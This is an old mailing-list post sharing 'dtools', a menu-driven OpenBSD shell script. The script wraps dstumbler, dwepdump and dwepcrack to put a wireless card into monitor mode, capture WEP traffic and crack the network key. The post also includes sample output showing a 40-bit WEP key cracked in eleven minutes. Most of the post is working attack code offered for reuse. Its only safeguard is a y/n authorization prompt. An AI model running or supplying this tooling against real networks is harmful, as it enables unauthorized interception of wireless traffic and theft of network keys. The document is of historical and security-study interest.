A handy script

Hi all,

I know this is amateur, but it's what I've done to make this easy for
myself and co-workers to use. My first stab at using BSD or writing a
script so please bear with me.

There are a few things to note.

I've put dwepdump, dstumbler, dwepcrack, and prism2ctl in /usr/local/bin

I've put a ln -s /usr/local/bin/dtools /usr/bin/dtools (dtools is the
name of the script that follows)

I've created the directory /usr/local/bin/dumpfiles

 

I've been successful using this script on the following system:

OpenBSD 3.1-current

Pentium-233 (Dell Latitude CP)

Linksys WPC11 (2.5 and 3.0)

64MB RAM

It took me five hours to collect the following 40 bit WEP data and
eleven minutes to break it with the above system:

dwepdump :-w wi0 logfile

dwepcrack -w logfile:

* dwepcrack v0.4 by h1kari <[email protected]> *

* Copyright (c) Dachb0den Labs 2002 [http://dachb0den.com] *

 

reading in captured ivs, snap headers, and samples... done

total packets: 142202

 

calculating ksa probabilities...

 0: 43/768 keys (!)

 1: 21027/131328 keys (!)

 2: 31619/197376 keys (!)

 3: 31536/197120 keys (!)

 4: 52644/328703 keys (!)

 

(!) insufficient ivs, must have > 60 for each key (!)

(!) probability of success for each key with (!) < 0.5 (!)

 

warming up the grinder...

 packet length: 20

 init vector: XX:XX:XX

 default tx key: 0

 

progress: .

 

     

 

wep keys successfully cracked!

 

 0: XX:XX:XX:XX:XX *

 

done.

 

I think that's it. if anyone makes improvements on this please post them
to this group.

Just a side note. I had a hard time with this the first time I copied
the script to another machine. In the script there are several places
that you will see the ^H combination. This is created by typing
<CTRL><V> and then <CTRL><H>. The script will work properly even if the
^ and the H are two separate characters, but it's just not as pretty.

Script dtools:

#!/bin/sh

# Created by Ben Hamilton. Reproduction in full or in part is
encouraged. Please use this however you like. Please send updates and
improvements to: 

# [email protected]

# Thank you

clear

export TERM=color_xterm

dstumblr () {

      winterface

      initcard

      /usr/local/bin/dstumbler $WI -o

menu_main

}

 

dwepdmp () {

      winterface

      initcard

      qfreq

      echo

      echo

      echo '###################################################'

      echo '# What level of encryption will you be capturing? #'

      echo '###################################################'

      echo

      echo

      echo "    1) 40 bit (40 bit +24 bit header = 56 bit)"

      echo "    2) 104 bit (140 bit + 24 bit header = 128 bit)"

      echo

      echo -n '    q) quit                       ## : 2_'

      read ENC

      case $ENC in

              1)      CMD="-w" ;;

              ""|2)   CMD="-w -s" ;;

              *)      echo "If you didn't mean to exit check your caps
lock key."; exit ;;

      esac

      echo "#################################################"

      echo -n 'Logfile to send the resulting data to? '

      read DUMP

      case $DUMP in

              "")     echo "Please specify a file name.";sleep 1; exit
;;

              *)      DMP=/usr/local/bin/dumpfiles/${DUMP}.pcp ;;

      esac

      

      clear

      echo

      echo

        echo '##################################################'

        echo '   Capturing ' $DMP

        echo '          ### Press <CTRL><C> to Exit ###'

        echo ' To restart the menu system type: ' $0   

      echo

      dwepdump $CMD $WI $DMP

}

 

dwepcrck () {

      clear

      echo

      echo

      echo

      echo '##################################################'

      echo '#             WEP Weak Key Analysis              #'

      echo '##################################################'

      echo

      echo

      echo '  What level of encryption was captured?'

      echo

      echo '            1) 40 bit'

      echo '            2) 104 bit'

      echo

      echo '            q) Quit'

      echo

      echo

      echo

      echo -n '         : 2_'

      read LCRK

      case $LCRK in

            1)    CCMD="-w" ;;

            ""|2) CCMD="-ws" ;;

      esac

      echo '##################################################'

      echo

      echo '  Was the capture file created using'

      echo -n '  this menu system? Y_'

      read QCREATED

      case $QCREATED in

            ""|y|Y)     echo

                  echo '  Please do not use the extension when providing
the file name.'

                  echo

                  echo -n '  What is the name of the file? :'

                  read DUMP2

                  CFILE="/usr/local/bin/dumpfiles/${DUMP2}.pcp" ;;

            *)    echo

                  echo -n '  Please type the complete path and extension
for the file. :'

                  read DUMP2

                  CFILE=$DUMP2 ;;

      esac

      clear

      echo

      echo

      echo '##################################################'

      echo '   Analyzing ' $CFILE

        echo '          ### Press <CTRL><C> to Exit ###'

      echo ' To restart the menu system type: ' $0

      echo

      echo

      sleep 3

      dwepcrack $CCMD $CFILE

}

 

menu_main () {

      clear

      echo

      echo

      echo

      echo '##################################################'

      echo '#                    Tools                       #'

      echo '##################################################'

      echo

      echo '            1) Monitor Network Activity'

      echo '            2) Capture Network Traffic'

      echo '                  (Must know what channel)'

      echo '            3) Analyze Captured Data.'

      echo '            (See documentation for help)'

      echo

      echo '            q) Quit'

      echo

      echo '##################################################'

      echo -n ' Which tool would you like to start?[1] : 1_' 

      read TOOL

      case $TOOL in

            ""|1) dstumblr ;;

            2)    dwepdmp ;;

            3)    dwepcrck ;;

            q|Q)  exit ;;

            *)    echo "Invalid input. Please start over"

                        exit ;;

      esac

}

 

notice () {

      clear

      echo

      echo

      echo

      echo '##################################################'

      echo '# Put your notice in here #'

      echo '#  #'

      echo '#  #'

      echo '#  #'

      echo '#  #'

      echo '#  #'

      echo '#  #'

      echo '#  #'

      echo '##################################################'

      echo

      echo 'Are you authorized by the powers that be to discover,
monitor and'

      echo -n 'analyze wireless networks at the location which this tool
is being used? N_'

      read AUTH

      case $AUTH in

            y|Y)  ;;

            *)    echo "Please contact your local guru."

                        exit

      esac

}

 

# Initialize card for use with all the tools.

initcard () {

      echo

      echo

      echo

      #Bring the interface up

      ifconfig $WI up

      

      # prism2ctl -h clears all prism2 specific flags

      echo 'Clearing previous card settings'

            sleep 1

      /usr/local/bin/prism2ctl $WI -h

      

      # for help with wicontrol use man wicontrol

      wicontrol $WI -p 3 -t 3

      echo $WI' has been set into adhoc mode and is now auto sensing the
best data rate'

      # prism2ctl -m sets the prism2 card into monitor mode

      echo -n "initializing wireless card ."; sleep 1

      /usr/local/bin/prism2ctl $WI -m

      echo -n " ."; sleep 1

      /usr/local/bin/prism2ctl $WI -m

      echo -n " ."; sleep 1

      /usr/local/bin/prism2ctl $WI -m

      echo

}

 

winterface () {

      echo

      echo

      echo

      echo '###################################################'

      echo

      echo -n 'Which wireless adapter are you using? [wi0]? wi0___'

      read ANS

      case $ANS in

            ""|wi0|WI0) WI=wi0 ;;

            *) WI=$ANS ;;

      esac

}

 

qfreq () {

      echo -n 'What frequency do you wish to capture [1-14]? (q to
quit): '

      read FRQ

      case $FRQ in

            1|2|3|4|5|6|7|8|9|10|11|12|13|14) FQ=$FRQ ;;

            q|Q) exit ;;

            *) echo "Please type a valid channel or q to quit."; FQ=86
;;

      esac

sleep 1

/usr/local/bin/prism2ctl $WI -f $FQ

wicontrol $WI | grep "Current channel"

}

notice

menu_main